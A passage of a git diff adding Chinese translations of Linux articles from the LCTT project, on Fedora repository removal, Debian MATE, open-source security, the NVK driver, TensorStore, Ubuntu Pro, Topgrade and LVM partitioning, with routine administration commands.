+如果要删除仓库,请按照以下步骤操作。 + +首先,使用以下命令查看添加到 Fedora 系统的仓库列表。 + +``` +dnf repolist +``` + +![dnf 仓库列表][4] + +如你所见,添加了 rpmfusion 自由和非自由仓库。要通过 dnf 删除它,你需要使用以下命令准确知道仓库文件名。 + +``` +rpm -qa 'rpmfusion*' +``` + +这将列出仓库的确切名称。在示例中,它们是 “rpmfusion-free-release”。 + +![从 Fedora 中移除 rpmfusion][5] + +现在你可以简单地运行以下命令来删除它。 + +``` +sudo dnf remove rpmfusion-free-release +``` + +你可以重复上面的例子从 Fedora 中删除 rpmfusion,也可以使用它从系统中删除任何其他仓库。 + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/enable-rpm-fusion-fedora-rhel-centos/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: https://rpmfusion.org/ +[2]: https://www.debugpoint.com/wp-content/uploads/2020/07/rpmfusion.jpg +[3]: https://www.debugpoint.com/wp-content/uploads/2020/07/RPM-Fusion-Already-Installed-.png +[4]: https://www.debugpoint.com/wp-content/uploads/2020/07/dnf-repolist.jpg +[5]: https://www.debugpoint.com/wp-content/uploads/2020/07/remove-rpmfusion-from-fedora.jpg diff --git a/published/202210/20221003 Get Ready for Ubuntu MATE Experience on Debian Linux!.md b/published/202210/20221003 Get Ready for Ubuntu MATE Experience on Debian Linux!.md new file mode 100644 index 0000000000..a01dc1f6de --- /dev/null +++ b/published/202210/20221003 Get Ready for Ubuntu MATE Experience on Debian Linux!.md @@ -0,0 +1,88 @@ +[#]: subject: "Get Ready for Ubuntu MATE Experience on Debian Linux!" +[#]: via: "https://news.itsfoss.com/ubuntu-mate-debian/" +[#]: author: "Sourav Rudra https://news.itsfoss.com/author/sourav/" +[#]: collector: "lkxed" +[#]: translator: "KevinZonda" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15119-1.html" + +准备好在 Debian Linux 上获得 Ubuntu MATE 的体验吧! +====== + +> Ubuntu MATE 的体验将在 2023 年进入 Debian 的 MATE 版中?从这里了解更多。 + +![准备好在 Debian Linux 上获得 Ubuntu MATE 的体验吧!][1] + +Ubuntu MATE 的创始人与维护者之一 **Martin Wimpress**,在 Ubuntu MATE 22.10 的测试版发布说明中提到了一些相当有趣的事情。 + +他的目标是将 Ubuntu MATE 的体验带到 Debian 🧐。 + +等等,你不是已经可以在 Debian 上安装 MATE 了吗? + +是的,但是怎样使用 Debian 上的所有现代工具获得与 Ubuntu MATE 类似的用户体验呢? + +### 将 Ubuntu MATE 的体验带入 Debian 的版本中 + +![][2] + +以下是 Martin 提到的内容: + +> 用最近的标准来说,Ubuntu MATE 22.10 是一个适度更新,专注与“提高生活质量”。而这个版本的 Ubuntu MATE 没有采用你通常期望的桶状 🪣 变化清单是有原因的,这是因为我一直在帮助将 Ubuntu MATE 的完整体验带到 Debian MATE 🧉。 + +这是很吸引人的东西。 + +**这是否意味着 Ubuntu MATE 未来不会有任何重大更新?** + +不,Ubuntu MATE 仍然会收到更新。 + +另外,Martin 还澄清说,他并没有退出 Ubuntu MATE 的开发,并且将和往常一样进行。 + +然而,如果你想看看 Ubuntu MATE 的主要功能更新的长列表,你必须要等待一段时间。 + +他打算在 Debian MATE 和 Ubuntu MATE 之间提供一致的体验。 + +Debian MATE 在用户中不那么受欢迎并**不足为奇**。主要是因为它不提供 Ubuntu MATE 那样的现代改进。 + +因此,他们的目标是为 Debian MATE 带来类似的体验,这将使现有用户既可以使用 Debian 也可以使用 Ubuntu。 + +**此外,** 这将使开发变得更容易: + +> 使 Debian 和 Ubuntu 中的 MATE 体验保持一致,使所有相关人员的维护变得更加容易。 + +**那么,我们是否可以期待与 Debian 上是否能和 Ubuntu MATE 22.10(Kinetic Kudu)非常相似?** + +![ubuntu mate 22.10 hud settings][5] + +大概是。但这需要时间。 + +> 💡 他们希望在 Debian 12 的 Debian MATE 上提供类似的体验。我们已经知道 Debian 12 计划于 2023 年发布。因此,有足够的时间等待它。 + +你可以期待将 MATE Tweak 和 [Ayatana Indicators][6] 等应用程序集成到 Debian MATE 中。 + +这让我认为 Debian MATE 可以成为 Ubuntu MATE 用户寻求改变或想要尝试 Debian 的MATE 风格的绝佳选择。 + +当然,这并不会让即将到来的 Ubuntu MATE 22.10 变得不那么令人兴奋。它仍将包括许多有价值的好东西;你可能想查看它的 [beta 版本说明][7] 以了解更多信息。 + +💬 *在了解了这一发展之后,你如何看待 Debian 未来的 MATE 版本?你会为此放弃 Ubuntu MATE 吗?让我知道你的想法!* + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/ubuntu-mate-debian/ + +作者:[Sourav Rudra][a] +选题:[lkxed][b] +译者:[KevinZonda](https://github.com/KevinZonda) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/sourav/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/content/images/size/w1200/2022/10/ubuntu-mate-comes-to-debian-mate.png +[2]: https://news.itsfoss.com/content/images/2022/10/homeworld_desktop-1024x576.png +[3]: https://itsfoss.com/debian-based-distros/ +[4]: https://itsfoss.com/debian-based-distros/ +[5]: https://news.itsfoss.com/content/images/2022/10/Ubuntu_MATE_22.10.png +[6]: https://ayatanaindicators.github.io/about/ +[7]: https://ubuntu-mate.org/blog/ubuntu-mate-kinetic-kudu-release-notes/ diff --git a/published/202210/20221004 Security Issues With Open Source In Today-s World.md b/published/202210/20221004 Security Issues With Open Source In Today-s World.md new file mode 100644 index 0000000000..80ca7226c6 --- /dev/null +++ b/published/202210/20221004 Security Issues With Open Source In Today-s World.md @@ -0,0 +1,47 @@ +[#]: subject: "Security Issues With Open Source In Today’s World" +[#]: via: "https://www.opensourceforu.com/2022/10/security-issues-with-open-source-in-todays-world/" +[#]: author: "Laveesh Kocher https://www.opensourceforu.com/author/laveesh-kocher/" +[#]: collector: "lkxed" +[#]: translator: "KevinZonda" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15125-1.html" + +当今世界的开源安全问题 +====== + +![](https://img.linux.net.cn/data/attachment/album/202210/10/160918vmfxmsm4bnwi0nb4.jpg) + +> 开源代码可能是当今大多数公司最可行的选择,但它也伴随着自己的问题。 + +许多人支持使用 开源软件open source software(OSS)。毕竟,我们为什么要不断地尝试构建代码来解决别人已经解决过的问题?为什么不分享信息并逐步和迭代地增强当前的开源解决方案呢?这些平等主义价值观egalitarian values,可能是整个文明的根本,更不用说软件了,但还是包含了几千年来一直存在的冲突。 + +开源软件安全的问题在于,尽管任何人都可以查看源代码,但这并不意味着他们会这么做。有一些广泛使用的开源项目仅由数量有限的工程师维护。这些工程师无法完全自愿地提供时间和精力,因为他们也需要支付他们的账单。 + +即使对于更复杂的开源项目,这也是一个问题。举个例子,Linux 内核项目由 3000 多万行代码组成,包含数百个需要解决的缺陷,并有近 2000 名活跃的开发者。每个活跃的开发者都写了超过 15000 行的代码。 + +根据 Linux 基金会最近的一项研究,一个应用程序平均有 5.1 个重大漏洞仍未解决,41% 的企业对其开源软件的安全性缺乏信心。而更糟糕的是,只有 49% 的企业拥有开源安全策略。 + +即使开源软件有安全漏洞,这也不能保证它能被修复。调查显示,目前修复一个漏洞平均需要 97.8 天,使使用该软件的企业在几个月内容易受到攻击。这就是开源软件安全有时被忽视的地方:就像好人可以寻找代码中的错误和漏洞来修复它们一样,坏人也可以寻找同样的漏洞来利用它们。 + +仅仅依靠志愿者社区来发现漏洞、报告漏洞和修复漏洞是一个漫长的过程。在你继续受益于开源的广泛优势的同时,花钱请人检查你的开源解决方案的安全性可以帮助弥补这个问题。 + +由于必须部署开源软件的更新和补丁以保证系统的安全,这一要求会带来独特的困难。如果你的解决方案依赖于某个软件版本,更新你的关键任务软件可能会导致功能损失和/或计划外的停机。当情况对业务至关重要时,聘请专家来回传补丁并维护一个时间更长的版本可能比让大型社区愿意去做更加优雅。 + +开源社区经常使用的一句话是:“这是开源的,去改变它吧!”它强调了一个关键点:当别人在项目中投入时间、精力或金钱的时候,期望白白得到良好的安全水平是不合理的,也是不可持续的。 + +要么按原定计划为开源做出贡献,改进代码并为他人发布,要么聘请专业人士管理开源代码并在必要时进行调试,这些都是选择。然而,这个行业无法承担完全不做贡献。 + +-------------------------------------------------------------------------------- + +via: https://www.opensourceforu.com/2022/10/security-issues-with-open-source-in-todays-world/ + +作者:[Laveesh Kocher][a] +选题:[lkxed][b] +译者:[KevinZonda](https://github.com/KevinZonda) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.opensourceforu.com/author/laveesh-kocher/ +[b]: https://github.com/lkxed diff --git a/published/202210/20221006 A New Open Source Vulkan Driver for NVIDIA Graphics is Ready to Test!.md b/published/202210/20221006 A New Open Source Vulkan Driver for NVIDIA Graphics is Ready to Test!.md new file mode 100644 index 0000000000..92f45b6741 --- /dev/null +++ b/published/202210/20221006 A New Open Source Vulkan Driver for NVIDIA Graphics is Ready to Test!.md @@ -0,0 +1,89 @@ +[#]: subject: "A New Open Source Vulkan Driver for NVIDIA Graphics is Ready to Test!" +[#]: via: "https://news.itsfoss.com/nvidia-nvk/" +[#]: author: "Sourav Rudra https://news.itsfoss.com/author/sourav/" +[#]: collector: "lkxed" +[#]: translator: "Cubik65536" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15124-1.html" + +一个全新的用于英伟达显卡的开源 Vulkan 驱动已经准备好测试了! +====== + +> 为英伟达显卡开发的一个全新的开源驱动正在开发中!这里有一些好的进展…… + +![一个全新的用于英伟达显卡的开源 Vulkan 驱动已经准备好测试了!][1] + +**NVK** 是一个全新的用于英伟达显卡的开源 Vulkan 驱动,它的目标是成为新的主流显卡驱动。 + +这成为可能的部分原因是因为英伟达开源了数据中心 GPU 和消费级 GPU(GTX/RTX)的 GPU 内核模块。 + +> **[英伟达在改善其 GPU 在 Linux 上的体验方面迈出了重要的一步][2]** + +它使开发人员能够改进开源驱动程序并启用比以前更多的功能。 + +让我们来看看 NVK 可以提供什么。 + +### 新的适用于英伟达 GPU 的 NVK 开源驱动程序 + +**Jason Ekstrand**(Collabora 的工程师)和 Red Hat 的其他人已经在过去几个月里编写了 NVK 的代码。 + +他们可以利用 Turing 系列显卡提供的统一固件 BLOB,然后在其上构建 Vulkan 支持。 + +**但是,不是已经有了 nouveau 开源驱动程序了吗?** + +NVK 与其他的 nouveau 驱动非常不同,因为它是从头开始编写的。 + +nouveau 是一个主要的英伟达显卡的开源驱动程序,已经年久失修了,试图在它的基础上构建是一个很多人都无法承担的任务。 + +当然,它是由有很多才华的工程师开发的,但是缺乏公司的支持和贡献者的影响了它的发展。 + +**NVK 旨在克服这些问题,同时专注于对 Turing 系列及更高版本 GPU 的支持。** + +由于内核的开发方式,对于 Kepler、Maxwell 和 Pascal 等较旧的 GPU 的支持可能不会很容易地加入 NVK。它也许极大地依赖于新内核,从而只支持较新的 GPU。 + +同时,nouveau 内核接口与 Vulkan 不兼容,阻碍了对较旧 GPU 的支持。 + +但是,仍然有进一步测试的空间,这可能会让 NVK 可以支持较旧的 GPU。 + +当然,随着更多的社区贡献,NVK 可以通过增加额外的功能和 GPU 支持来改进。 + +### 如何尝试它? + +NVK 目前处于非常初级的状态,有很多功能缺失,并且正在持续开发中。 + +**所以,它还不适合让所有类型的用户尝试。** + +你还是可以通过拉取 freedesktop.org 上的 [nouveau/mesa 项目][4] 的 nvk/main 分支并构建它来尝试它。 + +如果你想的话,你也可以通过贡献到该项目下的 [nvk/main 分支][5] 来帮助 NVK 的开发。 + +对于更多的技术信息,你可以参考 [官方公告][6]。 + +### 未来潜力 + +NVK 有很多潜力,尤其是与老化的 [nouveau][7] 图形驱动套件相比。 + +这可以为 nouveau 带来一个合适的继承者,同时为 Linux 提供一个带有很多功能的、主流的开源英伟达图形驱动套件。 + +💬 *你对此有什么看法?你认为这最终能够实现 nouveau 驱动程序所未能实现的吗?* + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/nvidia-nvk/ + +作者:[Sourav Rudra][a] +选题:[lkxed][b] +译者:[Cubik65536](https://github.com/Cubik65536) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/sourav/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/content/images/size/w1200/2022/10/opensource-native-vulkan-gpu-driver-for-nvidia.png +[2]: https://news.itsfoss.com/nvidia-open-source-linux/ +[4]: https://gitlab.freedesktop.org/nouveau/mesa +[5]: https://gitlab.freedesktop.org/nouveau/mesa/-/tree/nvk/main/ +[6]: https://www.collabora.com/news-and-blog/news-and-events/introducing-nvk.html +[7]: https://nouveau.freedesktop.org/ diff --git a/published/202210/20221006 Google AI Unveils A New Open Source Library for Array Storage.md b/published/202210/20221006 Google AI Unveils A New Open Source Library for Array Storage.md new file mode 100644 index 0000000000..b754707239 --- /dev/null +++ b/published/202210/20221006 Google AI Unveils A New Open Source Library for Array Storage.md @@ -0,0 +1,41 @@ +[#]: subject: "Google AI Unveils A New Open Source Library for Array Storage" +[#]: via: "https://www.opensourceforu.com/2022/10/google-ai-unveils-a-new-open-source-library-for-array-storage/" +[#]: author: "Laveesh Kocher https://www.opensourceforu.com/author/laveesh-kocher/" +[#]: collector: "lkxed" +[#]: translator: "KevinZonda" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15128-1.html" + +谷歌 AI 推出新的数组存储开源库 +====== + +![](https://www.opensourceforu.com/wp-content/uploads/2022/10/google3-1068x559.jpg) + +> 谷歌 AI 引入了一个用于数组存储的高性能开源库 TensorStore。 + +谷歌开发的开源 C++ 和 Python 框架 TensorStore 旨在加速大型多维数组的读写设计。覆盖单一大型坐标系的多维数据集通常用于当代计算机科学和机器学习应用程序中。使用这些数据集具有挑战性,因为客户经常希望进行涉及多个工作站并行操作的调查,并且可能会以不可预测的间隔和不同的规模接收和输出数据。 + +谷歌研究院开发了 TensorStore,该库为用户提供了一个可以管理巨大数据集的 API,而无需复杂的硬件,以解决数据存储和操作问题。该库支持许多存储系统,包括本地和网络文件系统、谷歌云存储等。 + +为了加载和处理大量数据,TensorStore 提供了一个简单的 Python API。任何任意大小的基础数据集都可以加载和更新,而无需将数据集完整存储在内存中,因为在需要精确切片之前不需要在内存中读取或保存实际数据。 + +这是通过索引和操作语法实现的,它与 NumPy 操作的语法非常相似。除了虚拟视图、广播、对齐和其他复杂的索引功能,TensorStore 还支持如数据类型转换、降低取样和随意创建的数组这些功能。 + +此外,TensorStore 包含一个异步 API,可以并发进行读取或写入操作。在执行其他工作时,软件可以进行内存缓存处理(可配置),从而减少在访问常用数据时处理较慢存储系统的需要。 + +大型数值数据集需要大量的处理能力来检查和分析。实现这一点的常用方法是在分散在许多设备上的大量 CPU 或加速器内核之间并行化任务。在保持出色速度的同时并行分析单个数据集的能力一直是 TensorStore 的关键目标。 PaLM、脑图和其他复杂的大规模机器学习模型是 TensorStore 应用案例的一些例子。 + +-------------------------------------------------------------------------------- + +via: https://www.opensourceforu.com/2022/10/google-ai-unveils-a-new-open-source-library-for-array-storage/ + +作者:[Laveesh Kocher][a] +选题:[lkxed][b] +译者:[KevinZonda](https://github.com/KevinZonda) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.opensourceforu.com/author/laveesh-kocher/ +[b]: https://github.com/lkxed diff --git a/published/202210/20221006 Ubuntu Pro Now Gives You 10 Years of Security Updates for Free.md b/published/202210/20221006 Ubuntu Pro Now Gives You 10 Years of Security Updates for Free.md new file mode 100644 index 0000000000..e15b80f9e8 --- /dev/null +++ b/published/202210/20221006 Ubuntu Pro Now Gives You 10 Years of Security Updates for Free.md @@ -0,0 +1,81 @@ +[#]: subject: "Ubuntu Pro Now Gives You 10 Years of Security Updates for Free" +[#]: via: "https://news.itsfoss.com/ubuntu-pro-free/" +[#]: author: "Sourav Rudra https://news.itsfoss.com/author/sourav/" +[#]: collector: "lkxed" +[#]: translator: "KevinZonda" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15120-1.html" + +Ubuntu Pro 现在免费为你提供 10 年的安全更新 +====== + +> 好消息:一个免费的 Ubuntu Pro 计划,每个人都可以获得 10 年的安全更新。 + +![Ubuntu Pro 现在免费为你提供 10 年的安全更新][1] + +Canonical 为 Ubuntu Pro 引入了一个免费计价层,该层针对个人使用和小规模部署。 + +**Ubuntu Pro** 订阅(以前称为 “Ubuntu Advantage”)最初是为企业提供的,用于为他们额外提供 5 年的 Ubuntu LTS 版本的扩展安全维护更新。 + +该免费计价层已在公共测试版中提供。 + +### 对于个人与数据中心的 Ubuntu Pro + +![Canonical 启动 Ubuntu Pro beta][2] + +目前作为测试版提供,Ubuntu Pro 的免费计价层可供个人用户或小型数据中心使用,最多可容纳五台机器。 + +随着此次发布,Canonical 首席执行官 Mark Shuttleworth 表示: + +> 自从我们首次推出 Ubuntu LTS 以来,并为这个主要的操作系统免费提供五年的安全保障,我们的企业客户要求我们在私人商业协议下覆盖越来越广泛的开源领域。今天,我们很高兴通过免费的个人 Ubuntu Pro 订阅免费向世界上的任何人提供! + +与标准发行版相比,Ubuntu Pro 的主要优势在于不断提供安全补丁。 + +![ubuntu pro 好处][3] + +**对于希望系统稳定而又不会丢失安全更新的用户来说,这是一个难以置信的好消息。** + +安全维护更新会定期推出,尤其是在发现新的 CVE(常见漏洞和暴露)时。 + +用户可以利用 [Livepatch][4] 来应用安全补丁,而无需关闭他们的系统。这包含在 Ubuntu Pro 订阅中。 + +小型企业和个人还可以使用合规管理所需的各种工具,支持 PCI-DSS、HIPAA、FedRAMP 等合规标准,并作为 Ubuntu Pro 订阅的一部分。 + +**那么,个人和企业使用 Ubuntu 的更多激励措施?** + +> 💡 如果你最多有五台机器要用,Ubuntu Pro 的免费个人层应该是一个不折不扣正确的选择,而不是其他平台。 + +借助个人 Ubuntu Pro 计划,小规模用户现在可以享受 10 年安全保障(*5 年 LTS 更新 + 5 年扩展安全维护更新*),**其中包括对额外 23,000 个软件包的支持。** + +这个免费的 Ubuntu Pro 订阅层的推出可以帮助 [Canonical][5] 吸引更多用户使用 Ubuntu,这对于计算机用户采用 Linux 来说是一件好事。 + +你只需在他们的 [官方网站][6] 上注册个人 Ubuntu Pro 订阅。 + +更多详情,请查看[官方公告][7]。 + +> **[注册 Ubuntu Pro][8]** + +💬 *你会考虑选择免费的个人 Ubuntu Pro 订阅吗? 或者,你认为你会每 5 年升级到新的 LTS 版本吗?* + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/ubuntu-pro-free/ + +作者:[Sourav Rudra][a] +选题:[lkxed][b] +译者:[KevinZonda](https://github.com/KevinZonda) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/sourav/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/content/images/size/w1200/2022/10/ubuntu-pro.jpg +[2]: https://youtu.be/qJL42AsfG6Q +[3]: https://news.itsfoss.com/content/images/2022/10/ubuntu-pro-benefits.png +[4]: https://ubuntu.com/security/livepatch +[5]: https://canonical.com/ +[6]: https://ubuntu.com/pro +[7]: https://ubuntu.com//blog/ubuntu-pro-beta-release +[8]: https://ubuntu.com/pro diff --git a/published/202210/20221006 Upgrade Various Kinds of Packages in Linux at Once With Topgrade.md b/published/202210/20221006 Upgrade Various Kinds of Packages in Linux at Once With Topgrade.md new file mode 100644 index 0000000000..e740daa671 --- /dev/null +++ b/published/202210/20221006 Upgrade Various Kinds of Packages in Linux at Once With Topgrade.md @@ -0,0 +1,152 @@ +[#]: subject: "Upgrade Various Kinds of Packages in Linux at Once With Topgrade" +[#]: via: "https://itsfoss.com/topgrade/" +[#]: author: "Sagar Sharma https://itsfoss.com/author/sagar/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15134-1.html" + +使用 Topgrade 一次升级 Linux 中的各种软件包 +====== + +![](https://img.linux.net.cn/data/attachment/album/202210/12/152118mo5r6pohnn4o5h56.jpg) + +更新 Linux 系统并没有那么复杂,不是吗?毕竟,要更新 Ubuntu 之类的发行版,你只需要使用 `apt update` 和 `apt upgrade` 就行。 + +如果所有的包都是通过一个包管理器安装的,就会是这样。 + +但现在情况不再如此。你有经典的 apt/dnf/pacman,还有 Snap、Flatpak、Appimages。不止于此,你还可以使用 PIP(用于 Python)和 Cargo(用于 Rust)安装应用。 + +使用 Node? NPM 包需要单独更新。Oh My Zsh?需要单独更新。[Vim 中的插件][1]、Atom 等也可能不被 apt/dnf/pacman 覆盖。 + +你现在看到问题了吗?这就是名为 Topgrade 的新工具旨在解决的问题。 + +### Topgrade:处理各种更新的单一程序 + +[Topgrade][2] 是一个 CLI 程序,它会检测你使用的工具,然后运行适当的命令来更新它们。 + +![Topgrade disable system][3] + +除了通常的 Linux 包管理器,它还可以检测和更新 Brew、Cargo、PIP、Pihole、Vim 和 Emacs 插件、R 软件包等。你可以在 [维基页面][4] 上查看支持的包列表。 + +##### Topgrade 的主要特点: + +* 能够更新来自不同的包管理器的软件包,**包括固件**! +* 你可以如何控制更新包。 +* 高度可定制。 +* 甚至能够在更新包之前进行概览。 + +所以不要浪费任何时间,让我们跳到安装。 + +### 使用 Cargo 在 Linux 中安装 Topgrade + +安装过程非常简单,因为我将使用 Cargo 包管理器。 + +我们已经有了 [详细指南,其中包含设置 Cargo 包管理器的多种方法][5]。所以我将在我的示例中使用 Ubuntu 来快速完成。 + +因此,让我们以最少方式安装依赖项以及 Cargo: + +``` +sudo apt install cargo libssl-dev pkg-config +``` + +安装 Cargo 后,使用给定的命令安装 Topgrade: + +``` +cargo install topgrade +``` + +它会抛出一个警告: + +![cargo error][6] + +你只需添加 `cargo` 路径即可运行二进制文件。这可以通过给定的命令来完成,你需要使用你的用户名替换 `sagar`: + +``` +echo 'export PATH=$PATH:/home/sagar/.cargo/bin' >> /home/sagar/.bashrc +``` + +现在,重启系统,Topgrade 就可以使用了。但是等等,我们需要安装另一个包来更新 Cargo 以获取最新的包。 + +``` +cargo install cargo-update +``` + +这样我们完成了安装。 + +### 使用 Topgrade + +使用 Topgrade 非常简单。使用一个命令,就是这样: + +``` +topgrade +``` + +![][7] + +但这不会给你除了系统包之外的任何控制,但正如我所提到的,你可以将不想更新的仓库列入黑名单。 + +#### 从 Topgrade 中排除包管理器和仓库 + +假设我想排除 Snap 和从默认包管理器下载的包,所以我的命令是: + +``` +topgrade --disable snap system +``` + +![Topgrade disable snap system][8] + +要进行永久更改,你必须在其配置文件中进行一些更改,这些更改可以通过给定的命令访问: + +``` +topgrade --edit-config +``` + +对于此示例,我排除了 Snap 和默认系统仓库: + +![configuring Topgrade][9] + +#### 试运行 Topgrade + +评估将要更新的过时软件包总是一个好主意,我从 Topgrade 的整个目录中找到了这个最有用的选项。 + +你只需使用带有 `-n` 选项的 `topgrade` 命令,它就会生成过期软件包的摘要。 + +``` +topgrade -n +``` + +![summery of Topgrade][10] + +检查需要更新的软件包的一种简洁方法。 + +### 总结 + +在使用 Topgrade 几周后,它成为了我的 Linux 武器库中不可或缺的一部分。 像大多数其他 Linux 用户一样,我只是通过我的默认包管理器更新包。 Python 和 Rust 包被完全忽略了。 感谢 Topgrade,我的系统现在完全更新了。 + +我知道这不是每个人都想使用的工具。那你呢?愿意试一试吗? + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/topgrade/ + +作者:[Sagar Sharma][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/sagar/ +[b]: https://github.com/lkxed +[1]: https://linuxhandbook.com/install-vim-plugins/ +[2]: https://github.com/r-darwish/topgrade +[3]: https://itsfoss.com/wp-content/uploads/2022/09/topgrade-disable-system.png +[4]: https://github.com/r-darwish/topgrade/wiki/Step-list +[5]: https://itsfoss.com/install-rust-cargo-ubuntu-linux/ +[6]: https://itsfoss.com/wp-content/uploads/2022/09/cargo-error.png +[7]: https://itsfoss.com/wp-content/uploads/2022/10/topgrade.mp4 +[8]: https://itsfoss.com/wp-content/uploads/2022/09/topgrade-disable-snap-system.png +[9]: https://itsfoss.com/wp-content/uploads/2022/09/configuring-topgrade-1.png +[10]: https://itsfoss.com/wp-content/uploads/2022/09/summery-of-topgrade.png diff --git a/published/202210/20221008 How to Create LVM Partition Step-by-Step in Linux.md b/published/202210/20221008 How to Create LVM Partition Step-by-Step in Linux.md new file mode 100644 index 0000000000..a92fcb8f55 --- /dev/null +++ b/published/202210/20221008 How to Create LVM Partition Step-by-Step in Linux.md @@ -0,0 +1,218 @@ +[#]: subject: "How to Create LVM Partition Step-by-Step in Linux" +[#]: via: "https://www.linuxtechi.com/how-to-create-lvm-partition-in-linux/" +[#]: author: "James Kiarie https://www.linuxtechi.com/author/james/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15152-1.html" + +在 Linux 中创建 LVM 分区的分步指南 +====== + +![](https://img.linux.net.cn/data/attachment/album/202210/18/113615swffwazya3nyfve2.jpg) + +> 在本指南中,我们将逐步介绍如何在 Linux 中创建 LVM 分区。 + +LVM 代表 “逻辑卷管理Logical Volume Management”,它是专门为服务器管理 Linux 系统上的磁盘或存储的推荐方式。 LVM 分区的主要优点之一是我们可以实时扩展其大小而无需停机。 LVM 分区也可以缩小,但不推荐。 + +为了演示,我在我的 Ubuntu 22.04 系统上连接了 15GB 磁盘,我们将从命令行在该磁盘上创建 LVM 分区。 + +##### 准备 + +- 连接到 Linux 系统的原始磁盘 +- 具有 sudo 权限的本地用户 +- 预装 lvm2 包 + +事不宜迟,让我们深入了解这些步骤。 + +### 步骤 1、识别新连接的原始磁盘 + +登录到你的系统,打开终端并运行以下 `dmesg` 命令: + +``` +$ sudo dmesg | grep -i sd +``` + +在输出中,查找大小为 15GB 的新磁盘。 + +![dmesg-command-new-attached-disk-linux][1] + +识别新连接的原始磁盘的另一种方法是通过 `fdisk` 命令: + +``` +$ sudo fdisk -l | grep -i /dev/sd +``` + +输出: + +![fdisk-command-output-new-disk][2] + +从上面的输出,可以确认新连接的磁盘是 `/dev/sdb`。 + +### 步骤 2、创建 PV(物理卷) + +在开始在磁盘 `/dev/sdb` 上创建物理卷Physical Volume(PV)之前,请确保已安装 `lvm2` 包。如果未安装,请运行以下命令: + +``` +$ sudo apt install lvm2 // On Ubuntu / Debian +$ sudo dnf install lvm2 // on RHEL / CentOS +``` + +运行以下 `pvcreate` 命令在磁盘 `/dev/sdb` 上创建 PV: + +``` +$ sudo pvcreate /dev/sdb + Physical volume "/dev/sdb" successfully created. +$ +``` + +要验证 PV 状态,运行: + +``` +$ sudo pvs /dev/sdb +或者 +$ sudo pvdisplay /dev/sdb +``` + +![pvdisplay-command-output-linux][3] + +### 步骤 3、创建 VG(卷组) + +要创建卷组Volume Group(VG),我们将使用 `vgcreate` 命令。创建 VG 意味着将 PV 添加到其中。 + +语法: + +``` +$ sudo vgcreare +``` + +在我们的例子中,命令是: + +``` +$ sudo vgcreate volgrp01 /dev/sdb + Volume group "volgrp01" successfully created +$ +``` + +运行以下命令以验证 VG(`volgrp01`)的状态: + +``` +$ sudo vgs volgrp01 +或者 +$ sudo vgdisplay volgrp01 +``` + +上述命令的输出: + +![vgs-command-output-linux][4] + +以上输出确认大小为 15 GiB 的卷组 `volgrp01` 已成功创建,一个物理扩展Physical Extend(PE)的大小为 4 MB。创建 VG 时可以更改 PE 大小。 + +### 步骤 4、创建 LV(逻辑卷) + +`lvcreate` 命令用于从 VG 中创建逻辑卷Logical Volume LV。 `lvcreate` 命令的语法如下所示: + +``` +$ sudo lvcreate -L -n +``` + +在我们的例子中,以下命令将用于创建大小为 14 GB 的 LV: + +``` +$ sudo lvcreate -L 14G -n lv01 volgrp01 + Logical volume "lv01" created. +$ +``` + +验证 LV 的状态,运行: + +``` +$ sudo lvs /dev/volgrp01/lv01 +或者 +$ sudo lvdisplay /dev/volgrp01/lv01 +``` + +输出: + +![lvs-command-output-linux][5] + +上面的输出显示 LV(`lv01`)已成功创建,大小为 14 GiB。 + +### 步骤 5、格式化 LVM 分区 + +使用 `mkfs` 命令格式化 LVM 分区。在我们的例子中,LVM 分区是 `/dev/volgrp01/lv01`。 + +注意:我们可以将分区格式化为 ext4 或 xfs,因此请根据你的设置和要求选择文件系统类型。 + +运行以下命令将 LVM 分区格式化为 ext4 文件系统。 + +``` +$ sudo mkfs.ext4 /dev/volgrp01/lv01 +``` + +![mkfs-ext4-filesystem-lvm][6] + +执行下面的命令,用 xfs 文件系统格式化 LVM 分区: + +``` +$ sudo mkfs.xfs /dev/volgrp01/lv01 +``` + 